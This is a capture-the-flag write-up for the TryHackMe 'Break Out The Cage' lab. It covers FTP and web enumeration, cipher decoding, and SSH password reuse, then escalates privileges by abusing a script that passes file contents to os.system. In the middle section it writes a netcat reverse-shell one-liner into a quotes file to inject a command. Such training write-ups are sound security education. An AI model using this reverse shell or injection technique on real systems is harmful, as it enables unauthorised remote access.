Break Out The Cage

TryHackMe Break Out The Cage
Difficulty: Easy
OS: Linux
Song: Tyler Childers - "Feathered Indians"

Enumeration

```
nmap -sCV -A -p- 10.67.186.206 --min-rate 6000 -oN cage
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
```

....snip....

```
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 396 May 25 2020 dad_tasks
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
```

....snap....

```
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Nicholas Cage Stories
|_http-server-header: Apache/2.4.29 (Ubuntu)
```

Standard stuff. A web server on port 80, SSH on 22, however, FTP is open on port 21 with anonymous login allowed, so we start there.

FTP Enumeration

```
ftp 10.67.186.206 -p 21
```

You'll be prompted for a login/password, just type `anonymous` into both and you're connected.

```
ftp> ls
229 Entering Extended Passive Mode (|||8601|)
150 Here comes the directory listing.
-rw-r--r-- 1 0 0 396 May 25 2020 dad_tasks
226 Directory send OK.
ftp> mget *
ymget dad_tasks [anpqy?]?
229 Entering Extended Passive Mode (|||48421|)
150 Opening BINARY mode data connection for dad_tasks (396 bytes).
100% |**********************************| 396 2.87 KiB/s 00:00 ETA
226 Transfer complete.
```

Found a file `dad_tasks` and downloaded it to my machine with `mget`. Before exiting FTP, always check if you can use the `put` command to upload files. It can be an easy way to upload a reverse shell later. In this case, it's not possible.

`dad_tasks`

UWFwdyBFZWtjbCAtIFB2ciBSTUtQLi4uWFpXIFZXVVIuLi4gVFRJIFhFRi4uLiBMQUEgWlJHU
VJPISEhIQpTZncuIEtham5tYiB4c2kgb3d1b3dnZQpGYXouIFRtbCBma2ZyIHFnc2VpayBhZyBv
cWVpYngKRWxqd3guIFhpbCBicWkgYWlrbGJ5d3FlClJzZnYuIFp3ZWwgdnZtIGltZWwgc3VtZW
J0IGxxd2RzZmsKWWVqci4gVHFlbmwgVnN3IHN2bnQgInVycXNqZXRwd2JuIGVpbnlqYW11Ii
B3Zi4KCkl6IGdsd3cgQSB5a2Z0ZWYuLi4uIFFqaHN2Ym91dW9leGNtdndrd3dhdGZsbHh1Z2ho
YmJjbXlkaXp3bGtic2lkaXVzY3ds

This is base64 encoding. Decode it with `echo "UWFwdy..." | base64 -d` and you get:

```
Qapw Eekcl - Pvr RMKP...XZW VWUR... TTI XEF... LAA ZRGQRO!!!!
Sfw. Kajnmb xsi owuowge
Faz. Tml fkfr qgseik ag oqeibx
Eljwx. Xil bqi aiklbywqe
Rsfv. Zwel vvm imel sumebt lqwdsfk
Yejr. Tqenl Vsw svnt "urqsjetpwbn einyjamu" wf.
Iz glww A ykftef.... Qjhsvbouuoexcmvwkwwatfllxughhbbcmydizwlkbsidiuscwl
```

We don't have the key to decipher this just yet, so we will come back later.

Web Enumeration

Going to the website gives us a potential user name, `Weston`, who set up the page for Nic. Otherwise, just a standard web page and checking the source code doesn't give any hints, so we move on to directory enumeration like so:

```
gobuster dir -u http://10.67.186.206 -w /home/user/SecLists/Discovery/Web-
Content/DirBuster-2007_directory-list-2.3-medium.txt -t 100 --no-error
```

Gives us:

```
/images (Status: 301) [Size: 315] [--> http://10.67.186.206/images/]
/html (Status: 301) [Size: 313] [--> http://10.67.186.206/html/]
/scripts (Status: 301) [Size: 316] [--> http://10.67.186.206/scripts/]
/contracts (Status: 301) [Size: 318] [--> http://10.67.186.206/contracts/]
/auditions (Status: 301) [Size: 318] [--> http://10.67.186.206/auditions/]
```

To save you some effort, only the `/auditions` directory is worthwhile. In it, there is an .mp3 file we can download. The file is corrupted, so if we download the file and analyze it in a spectrogram, we are given a word. This keyword can be used to decipher the deciphered base64 text from earlier.

Weston to Cage Pivot

The base64 from earlier is double-encoded. One layer is base64, the next layer is a Vigenere Cipher. Put the deciphered base64 into a Vigenere decoder with the keyword we just got from the audio analysis, and you'll end up with a password:

```
Dads Tasks - The RAGE...THE CAGE... THE MAN... THE LEGEND!!!!
One. Revamp the website
Two. Put more quotes in script
Three. Buy bee pesticide
Four. Help him with acting lessons
Five. Teach Dad what "information security" is.
In case I forget.... REDACTED
```

We can infer that this is written by `Weston` just by the message. Remembering that SSH was open on Port 22, and a very common tactic called `password stuffing`, which is the reusing of passwords, essentially, we try to log into Weston's account via SSH and we are successful.

First order of business should be running `sudo -l` to see what we can run as root. Just `/usr/bin/bees`. Examining `/usr/bin/bees`, it doesn't seem to do anything so we will ignore it. Second, using the `id` command to see what groups we are part of.

`weston@national-treasure:~$ id` uid=1001(weston) gid=1001(weston) groups=1001(weston),1000(cage)`

We are part of the `cage` group, which is unique. This will give us certain permissions over files and directories on the system.

By now you have noticed an annoying broadcast message every so often. Absolutely hate when CTFs do this, so let's find out why it's happening. Switch to the `/tmp` directory and download pspy64 with `wget`.

Analyzing the results of our pspy64 scan, we can see a different user is running a script located at `/opt/.dads_scripts/`. Going to that directory and running `ls -la`, we see `spread_the_quotes.py` and `.files`, which contains a file `.quotes`.

`spread_the_quotes.py` :

```
#!/usr/bin/env python

Copyright Weston 2k20 (Dad couldnt write this with all the time in the world!)
import os
import random

lines = open("/opt/.dads_scripts/.files/.quotes").read().splitlines()
quote = random.choice(lines)
```

`os.system("wall " + quote)`

This python script will open `/opt/.dads_scripts/.files/.quotes` and broadcast a random quote across the system with `wall` every so often. According to the permissions, I cannot edit this python script, but we are able to edit the `.quotes` file located in the `.files` directory. We overwrite `.quotes` with a reverse shell and when it is executed, we should get a connection back.

`echo “hello;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <Your IP> 1234 >/tmp/f” > .quotes`

Start a netcat listener and after a few minutes we get a connection back as Cage.

```
Connection received on 10.65.155.221 47590
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(cage) gid=1000(cage)
groups=1000(cage),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
cage@national-treasure:~$
```

User.txt

With your new shell as `cage`, a simple `ls-la` will give you a look into an interesting directory `email_backup` and a file `Super_Duper_Checklist`.

`$cat Super_Duper_Checklist` :

...snip...
`5 - Figure out why Weston has this etched into his desk: THM{REDACTED}`

For the user flag. Kind of a stupid way to hide it in there, instead of a user.txt file, but alright. Moving onto the `email_backup` directory.

Root.txt

After changing directories, we see 3 emails. Use `cat *` to read them all. Generally unhinged nonsense, but the important one is this:

`Hey Son`

```
....snap....
sure he's out to get me. The note said:
```

`haiinspsyanileph`

`The guy also seems obsessed with my face lately. He came him wearing a mask of my face...`

```
was rather odd. Imagine wearing his ugly face.... I wouldnt be able to FACE that!!
hahahahahahahahahahahahahahaahah get it Weston! FACE THAT!!!!
hahahahahahahhaha
ahahahhahaha. Ahhh Face it... he's just odd.
```

We get another ciphered message. It's likely another vigenere cipher since they used it last time. Cage is certainly saying FACE a lot, so it probably has some sort of significance. We will try it as the deciphering key.

Sure enough, we use it as the key and we get the root account password.

```
cage@national-treasure:~/email_backup$ su root
su root
Password: REDACTED
```

```
root@national-treasure:/home/cage/email_backup#
```

```
$cd /root;ls -la
```

There's another `email_backup` in the root directory. Read it with `cat` and at the bottom of the email, pick up your root flag.

Things I Learned

I was new to the whole idea of audio stenography, which was cool. You always hear about how if you play a record backwards it becomes devil music or whatever, but to see hidden messages in a CTF was neat. As an aside, you can skip this step almost entirely by brute forcing the message, but that's not in the spirit of the CTF.